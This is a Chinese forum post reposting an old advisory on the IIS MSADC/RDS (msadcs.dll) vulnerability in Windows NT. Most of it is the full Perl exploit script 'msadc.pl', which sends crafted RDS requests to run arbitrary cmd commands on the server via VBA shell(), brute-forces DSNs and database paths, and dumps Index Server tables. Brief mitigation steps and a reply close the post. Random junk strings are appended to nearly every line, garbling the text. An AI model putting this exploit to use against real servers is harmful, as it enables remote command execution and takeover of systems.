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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) HvLx  
%_%Bb Qf  
涉及程序: )];Bo.QA  
Microsoft NT server  *"Uf|  
/_qW?LKG/  
描述: DVz_;m6)  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 p-XO4Pc 6  
gAr=fq-|  
详细: Pmdf:?B  
如果你没有时间读详细内容的话,就删除: Q:U>nm>xA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll P "%f8C~r  
有关的安全问题就没有了。 w9TE E,t;5  
2KtK.2;7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3*=_vl3  
w0^}c8%WR  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ve^gzE$<I  
关于利用ODBC远程漏洞的描述,请参看: yS1i$[JV  
NOFuX9/'w  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm apZPHau6h  
`!Yd$=*c_&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 =z[$ o9  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp eI,H  
2{<o1x,Ym  
这里不再论述。 \![ p-mW{  
l 1vI  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 6u>]-K5  
EhAaaG  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {"c`k4R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! c8LMvL  
Vw]!Kb7tA  
n?*r,)'  
#将下面这段保存为txt文件,然后: "perl -x 文件名" d9up! k  
QJ+Ml  
#!perl U^8S@#1Q  
# }#h`1 uV  
# MSADC/RDS 'usage' (aka exploit) script #Q'#/\5  
# h43py8v  
# by rain.forest.puppy L7]o^p{g}Q  
# \,ne7G21j  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  0*E_D  
# beta test and find errors! Q^bYx (r5w  
{mUt|m 7!  
use Socket; use Getopt::Std; gI!d*]{BP  
getopts("e:vd:h:XR", \%args); SHT`  
$plqk^P  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [}!0PN?z~A  
JOH\K0=e  
if (!defined $args{h} && !defined $args{R}) { u|LDN*#DW  
print qq~ +ZOKfX  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =Cd{bj.8  
-h <host> = host you want to scan (ip or domain) P$Q,t2$A  
-d <seconds> = delay between calls, default 1 second  +;-ZU  
-X = dump Index Server path table, if available zx5#eMD  
-v = verbose |DYgc$2pN  
-e = external dictionary file for step 5 G=]ox*BY  
td7Of(k'  
Or a -R will resume a command session &0i$Y\g  
}U'  
~; exit;} mLx=Zes:.  
d$"?8r4:K  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,^RZ1tLz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n?U^vK_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [bw1!X3  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); O?ODfO+>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} )-0+O=v  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } /_qHF-  
#Vu;R5GZ}  
if (!defined $args{R}){ $ret = &has_msadc; P=PeWX*L<Z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} v*OV\h.  
!_FTy^@c2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" nxB[T o*P  
. "cmd /c "; zz!jt A  
$in=<STDIN>; chomp $in; *d`KD64  
$command="cmd /c " . $in ; bp<,Xfl  
zhJ0to[%?  
if (defined $args{R}) {&load; exit;} 5|cRHM#  
'E&tEbY  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Zrp-Hv27,,  
&try_btcustmr; wJD'q\n  
tW a'[2L  
print "\nStep 2: Trying to make our own DSN..."; !nq`Py MR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 'iTY?  
c8Q}m(bhWI  
print "\nStep 3: Trying known DSNs..."; Xmi~fie  
&known_dsn; XOLE=zdSp  
KY}H-  
print "\nStep 4: Trying known .mdbs..."; {,u})U2  
&known_mdb; *nYg-)  
"7'P Lo3O  
if (defined $args{e}){ xZ6x`BET-  
print "\nStep 5: Trying dictionary of DSN names..."; uq ;yR[w"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \KzH5?  
@v#,SF{  
print "Sorry Charley...maybe next time?\n"; g/_0WW]}  
exit; BeN]D  
I\x9xJ4x  
############################################################################## 684d&\(s  
 "iR:KW@  
sub sendraw { # ripped and modded from whisker [:(/cKo  
sleep($delay); # it's a DoS on the server! At least on mine... q#@r*hl  
my ($pstr)=@_; t|mK5aR4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || bL Sc=f&  
die("Socket problems\n"); #4JLWg  
if(connect(S,pack "SnA4x8",2,80,$target)){ \Z,{De%  
select(S); $|=1; <&#MX  
print $pstr; my @in=<S>; `a!9_%|8  
select(STDOUT); close(S); Rj4C-X 4=  
return @in; vQ]d?Tp  
} else { die("Can't connect...\n"); }} _9JFlBx  
U1HG{u,"y  
############################################################################## D6H?*4f]  
$8xb|S[  
sub make_header { # make the HTTP request h!v< J  
my $msadc=<<EOT ]Vmo >  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -cijLlz%+  
User-Agent: ACTIVEDATA zhm0 J-g  
Host: $ip CJER&"em7  
Content-Length: $clen JXMH7  
Connection: Keep-Alive lx=tOfj8  
1;H"4u_IG&  
ADCClientVersion:01.06 *c [^/  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 J8i,[,KcE  
xQ7U$QF|]  
--!ADM!ROX!YOUR!WORLD! "l9aBBiu  
Content-Type: application/x-varg 1. +6x4%rV  
Content-Length: $reqlen BjagG/ sX  
co3\1[q"b  
EOT N'WC!K.e  
; $msadc=~s/\n/\r\n/g; J{.UUw9Agd  
return $msadc;} |35OA/O?X  
s'oNW  
############################################################################## tv.<pP9-C  
K, I  
sub make_req { # make the RDS request k@un}}0r  
my ($switch, $p1, $p2)=@_; w#[cGaIB  
my $req=""; my $t1, $t2, $query, $dsn; A=5Ebu!z  
R^$|D)(  
if ($switch==1){ # this is the btcustmr.mdb query g&y^r/  
$query="Select * from Customers where City=" . make_shell(); %T\hL\L?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8*@{}O##  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} k}Q<#   
I8j:{*h  
elsif ($switch==2){ # this is general make table query yk)]aqic  
$query="create table AZZ (B int, C varchar(10))"; IhBc/.&RL  
$dsn="$p1";} p7@R+F\.};  
[!yA#{xl,  
elsif ($switch==3){ # this is general exploit table query &e@)yVLL  
$query="select * from AZZ where C=" . make_shell(); 2jC`'8  
$dsn="$p1";} * 70 ZAo4  
>Rd~-w)!|  
elsif ($switch==4){ # attempt to hork file info from index server ,aLwOmO  
$query="select path from scope()"; )0iN2L]U;  
$dsn="Provider=MSIDXS;";} .1jiANY  
: S3+UT  
elsif ($switch==5){ # bad query _1&Ar4:  
$query="select"; 9i}$245lB  
$dsn="$p1";} R6O v  
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$t1= make_unicode($query); -PAEJn5$O  
$t2= make_unicode($dsn); |Ia9bg'1U  
$req = "\x02\x00\x03\x00"; QcW8A ,\q  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3_Xu3hNH!  
$req.= "\x00\x00" . $t1 ; >>,G3/Zd*  
$req.= "\x08\x00" . pack ("S1", length($t2)); d_M+W@{  
$req.= "\x00\x00" . $t2 ; w\YS5!P,V  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; UJSIbb5  
return $req;} 8ZVQM7O  
a \1QnCy  
############################################################################## .WqqP  
M|K^u.4  
sub make_shell { # this makes the shell() statement j}eb _K+I  
return "'|shell(\"$command\")|'";} DkEv1]6JI_  
T1 $E][@Iv  
############################################################################## ~(ke'`gJ0-  
G:":CX"O(  
sub make_unicode { # quick little function to convert to unicode jh)@3c  
my ($in)=@_; my $out; (+epRC  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %g}d}5s  
return $out;} 1wKXOy=v0  
$vfgYl4q  
############################################################################## , :#bo]3  
YE{ [f@i0  
sub rdo_success { # checks for RDO return success (this is kludge) .{h"0<x  
my (@in) = @_; my $base=content_start(@in); BZ?Ck[E]Z  
if($in[$base]=~/multipart\/mixed/){ 14B',]`  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} oNyYx6q:Q  
return 0;} 3X`9&0:j%  
v}6iI}r  
############################################################################## >ep<W<b  
31a,i2Q4  
sub make_dsn { # this makes a DSN for us GDL/5m#  
my @drives=("c","d","e","f"); () _RLA  
print "\nMaking DSN: "; /;#kV]nF  
foreach $drive (@drives) { %-540V{q  
print "$drive: "; &sWr)>vs  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p8~lGuH  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !%,7*F(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); )N&SrzqTK  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; LJGpa )(  
return 0 if $2 eq "404"; # not found/doesn't exist FN-/~Su~J  
if($2 eq "200") { $u!(F]^  
foreach $line (@results) { 1+; bd'Ie  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} U`ttT5;  
} return 0;} !H\o Qv-I  
sv% X8  
############################################################################## hpF_@n  
FfJp::|ddr  
sub verify_exists { j8` B  
my ($page)=@_; "/aZ*mkjfJ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); PN l/}'  
return $results[0];} j2MA['{  
O8@65URKx  
############################################################################## cERIj0~  
-[7+g  
sub try_btcustmr { (XO=W+<'  
my @drives=("c","d","e","f"); h9H z6 >  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4d@yAr}  
DWt|lO  
foreach $dir (@dirs) { K6IT$$g  
print "$dir -> "; # fun status so you can see progress .[O{,r  
foreach $drive (@drives) { 2`$*HPj+G  
print "$drive: "; # ditto gT+g@\u[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; A*y4<'}<  
$reqlenlen=length( "$reqlen" ); c`!e#w  
$clen= 206 + $reqlenlen + $reqlen; \34vE@V*  
@ep.wW  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); N>H@vt~  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yxt"vm;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} L@S\ rImw  
4>jHS\jc  
############################################################################## L7C ;l,ot  
s|Mo3_>  
sub odbc_error { |u>(~6  
my (@in)=@_; my $base; nHdQe  
my $base = content_start(@in); XHk"nbj  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *(OG+OkC  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dw"Es;^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @Z~YFnEJi  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `q*[fd1u.  
return $in[$base+4].$in[$base+5].$in[$base+6];} =OH X5:Z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; kXwAw]ogN  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c4tw)O-X  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9Y:I)^ek  
5^g*  
############################################################################## 0Qt!w(  
R5uG.Oj-2  
sub verbose { b w P=f.  
my ($in)=@_; %;'~TtW5  
return if !$verbose; j&d5tgLB  
print STDOUT "\n$in\n";} ,_e [P  
1Toiqb/  
############################################################################## P8z%*/ 3NF  
,eyh%k*hz  
sub save { 8_('[89m  
my ($p1, $p2, $p3, $p4)=@_; C t,p  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^^N|:80  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Jl~ *@0(  
close OUT;} RpivO,   
lx:$EJ  
############################################################################## G"<#tif9K  
[Yt{h9  
sub load { hC\ l \y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ( s3k2Z  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); \?xM% (:<Q  
@p=<IN>; close(IN); V"YeF:I  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); A(FnU:  
$target= inet_aton($ip) || die("inet_aton problems"); )^ah, ;(  
print "Resuming to $ip ..."; [CJ<$R !  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^K?-+  
if($p[1]==1) { U]cXE1c>F  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; qbv\uYow3k  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >WSh)(Cg  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o}rG:rhIh  
if (rdo_success(@results)){print "Success!\n";} h9)S&Sk{s  
else { print "failed\n"; verbose(odbc_error(@results));}} ybBmg'198  
elsif ($p[1]==3){ |R}=HsYey  
if(run_query("$p[3]")){ >w S'z]T9  
print "Success!\n";} else { print "failed\n"; }} e(0OZ_w  
elsif ($p[1]==4){ Ehx9-*]  
if(run_query($drvst . "$p[3]")){ <fUo@]Lv  
print "Success!\n"; } else { print "failed\n"; }} r2=@1=?8  
exit;}  <mn[-  
\d@5*q  
############################################################################## YYe G9yR  
P.]h`4  
sub create_table { =^4Z]d  
my ($in)=@_; <V&0GAZ  
$reqlen=length( make_req(2,$in,"") ) - 28; oYqH l1cs  
$reqlenlen=length( "$reqlen" ); U^dfNi@q  
$clen= 206 + $reqlenlen + $reqlen; XY"b90  
my @results=sendraw(make_header() . make_req(2,$in,"")); *ub2dH4/  
return 1 if rdo_success(@results); E4 X6f  
my $temp= odbc_error(@results); verbose($temp); y:;.r:  
return 1 if $temp=~/Table 'AZZ' already exists/; @2>UR9j  
return 0;} F/oqYk9`  
q1}!Okr"2  
############################################################################## b84l`J  
yvd)pH<a2  
sub known_dsn { 5BVvT `<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go p!UR;xHI\  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ALMsF2H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", o2!738  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); K<>kT4  
e5' I W__  
foreach $dSn (@dsns) { [}L~zn6>?a  
print "."; HRf;bKZ  
next if (!is_access("DSN=$dSn")); FNQ<k[#K'~  
if(create_table("DSN=$dSn")){ }+@9[Q L  
print "$dSn successful\n"; MAek856  
if(run_query("DSN=$dSn")){ o"VKAP  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |}=eY?iXo  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "_WN[jm  
yK*vn]}  
############################################################################## _ Sr}3  
Ge q]wv8  
sub is_access { !..<_qfw  
my ($in)=@_; :K| H/kht  
$reqlen=length( make_req(5,$in,"") ) - 28; OC=&!<  
$reqlenlen=length( "$reqlen" ); d(q1 ?{zr4  
$clen= 206 + $reqlenlen + $reqlen; p@tg pFt  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0AB a&'h  
my $temp= odbc_error(@results); p'jc=bL E  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); =5|7S&{  
return 0;} T fLqxioqZ  
J"r?F0  
############################################################################## :q9!  
~i.*fL_Y  
sub run_query { a-NTA  
my ($in)=@_; }N g P`m  
$reqlen=length( make_req(3,$in,"") ) - 28; Rc1j^S;>  
$reqlenlen=length( "$reqlen" ); 7e"}ojt$  
$clen= 206 + $reqlenlen + $reqlen; 8['R D`O  
my @results=sendraw(make_header() . make_req(3,$in,"")); .+:iAnf  
return 1 if rdo_success(@results); FGV L[\  
my $temp= odbc_error(@results); verbose($temp); y'2|E+*V  
return 0;} j9 nw,x$  
~q`!928Gu  
############################################################################## y7HFmGM  
x%mRDm~-  
sub known_mdb { ~gI%lORqN  
my @drives=("c","d","e","f","g"); dFz"wvu` o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9?l a5  
my $dir, $drive, $mdb; dtTn]}J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; zd YH9d>D  
p2STy\CS  
# this is sparse, because I don't know of many 7]VR)VAM  
my @sysmdbs=( "\\catroot\\icatalog.mdb", )9eI o&Nl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 6W i n!4  
"\\system32\\certmdb.mdb", d/d)MoaJ*t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% iH(7.?.r  
qAjtvc2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", SXL3>-Z E  
"\\cfusion\\cfapps\\forums\\forums_.mdb", >=@-]X2%j  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 2`=jKt  
"\\cfusion\\cfapps\\security\\realm_.mdb", z D{]3pg  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4(L mjue]?  
"\\cfusion\\database\\cfexamples.mdb", si0}b~t  
"\\cfusion\\database\\cfsnippets.mdb", :60v bO  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 7#LIGr  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", x3O%W?5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", !^arWH[od  
"\\cfusion\\database\\smpolicy.mdb", =$'>VPQ  
"\\cfusion\\database\cypress.mdb", #NM)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", U)(R4Y6 v  
"\\website\\cgi-win\\dbsample.mdb", 5H3o?x   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", w'@gzK  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Nv5^2^Sc=  
); #these are just 'cO8& |  
foreach $drive (@drives) { A]BeI  
foreach $dir (@dirs){ I*rUe#$  
foreach $mdb (@sysmdbs) { !JCs'?A  
print "."; 7By7F:[b  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ PxKBcx4o`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; aT0~C.vT  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2C S9v  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; un "I  
} else { print "Something's borked. Use verbose next time\n"; }}}}} #49l\>1 z  
<9@n/  
foreach $drive (@drives) { +#IUn  
foreach $mdb (@mdbs) { $LXa]  
print "."; XCM!8x?K  
if(create_table($drv . $drive . $dir . $mdb)){ 8Ths"zwn  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5:@bNNX'j  
if(run_query($drv . $drive . $dir . $mdb)){ ?mH=3 :~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Y:\msq1xp  
} else { print "Something's borked. Use verbose next time\n"; }}}} ,3:f4e\<  
} SdH=1zBc  
s$fM,l:!  
############################################################################## 1Yb&E7j  
}c,b]!:  
sub hork_idx { d@3DsE.{i  
print "\nAttempting to dump Index Server tables...\n"; l,@>J9}Se  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; uaIAVBRcS  
$reqlen=length( make_req(4,"","") ) - 28; 0,hs %x>v  
$reqlenlen=length( "$reqlen" ); U%vTmdOY  
$clen= 206 + $reqlenlen + $reqlen; <'=!f6Wh  
my @results=sendraw2(make_header() . make_req(4,"","")); 971=OEyq*  
if (rdo_success(@results)){ ;.h /D4  
my $max=@results; my $c; my %d; |V34;}\4  
for($c=19; $c<$max; $c++){ n.+*_c8k  
$results[$c]=~s/\x00//g; @<W` w  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Iy)1(upM  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ,M.C]6YMr  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 24wDnDyh  
$d{"$1$2"}="";} pm O9mWq   
foreach $c (keys %d){ print "$c\n"; } Bl\:YYd  
} else {print "Index server doesn't seem to be installed.\n"; }} vQ< ~-E  
-ssb|r  
############################################################################## 'o&d!  
S*l/ Sa@  
sub dsn_dict { lT[,w9$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); YnpN -Y%g  
while(<IN>){ ^wy  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $ #=d@Nw_  
next if (!is_access("DSN=$dSn")); JA^!i98{  
if(create_table("DSN=$dSn")){ R>c>wYt'f  
print "$dSn successful\n"; ^; KC E  
if(run_query("DSN=$dSn")){ QQAEG#.5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { "%T~d[M  
print "Something's borked. Use verbose next time\n";}}} W^<AUT  
print "\n"; close(IN);} U5"u h} 3  
"kApGNB  
############################################################################## 8u*<GbKGI  
"ku[b\W  
sub sendraw2 { # ripped and modded from whisker H&s`Xr  
sleep($delay); # it's a DoS on the server! At least on mine... 9~V'Wev  
my ($pstr)=@_; !*l/Pr^8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }Y-V!z5z!  
die("Socket problems\n"); s#7"ZN  
if(connect(S,pack "SnA4x8",2,80,$target)){ #IH9S5B [  
print "Connected. Getting data"; ~W @dF~r  
open(OUT,">raw.out"); my @in; OP!R>|  
select(S); $|=1; print $pstr; 99OZK  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} *<\ `"C;  
close(OUT); select(STDOUT); close(S); return @in; P#TPI*qw  
} else { die("Can't connect...\n"); }} NVzo)C8kb  
:'DX M{  
############################################################################## rQv5uoD  
(^yaAy#4  
sub content_start { # this will take in the server headers :>!-[hfQ  
my (@in)=@_; my $c; APl]EV" l  
for ($c=1;$c<500;$c++) { 4 QQt 0u0  
if($in[$c] =~/^\x0d\x0a/){ vU%o5y:  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } bqn(5)%{  
else { return $c+1; }}} :^(y~q?  
return -1;} # it should never get here actually bZ`#;D<  
@,<jPR.  
############################################################################## /3)\^Pof  
FH}?QebSR  
sub funky { n1\$|[^6  
my (@in)=@_; my $error=odbc_error(@in); "I56l2dxd  
if($error=~/ADO could not find the specified provider/){ }8^qb5+!3  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  ]j0+4w  
exit;} |-JG _i  
if($error=~/A Handler is required/){ eX\v;~W*  
print "\nServer has custom handler filters (they most likely are patched)\n"; w,P@@Q E  
exit;} co,0@.i  
if($error=~/specified Handler has denied Access/){  ];5J  
print "\nServer has custom handler filters (they most likely are patched)\n"; mX|M]^_,z  
exit;}} q&=z^Ln!G  
3nBZ+n4z  
############################################################################## p7\LLJ y  
U_VP\ 03  
sub has_msadc { F,vkk{Z>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @*rMMy 4  
my $base=content_start(@results); 0^*,E/}P&  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ;[o:VuTs  
return 0;} N:|``n>  
\(LD<-a  
######################## fDYTupKXH  
]D nAW'm  
O#.YTTj  
解决方案: gI7*zR4D  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o;c"-^>  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yoGG[l2k>s  
4evN^es'I_  
拿出来充数 哈哈
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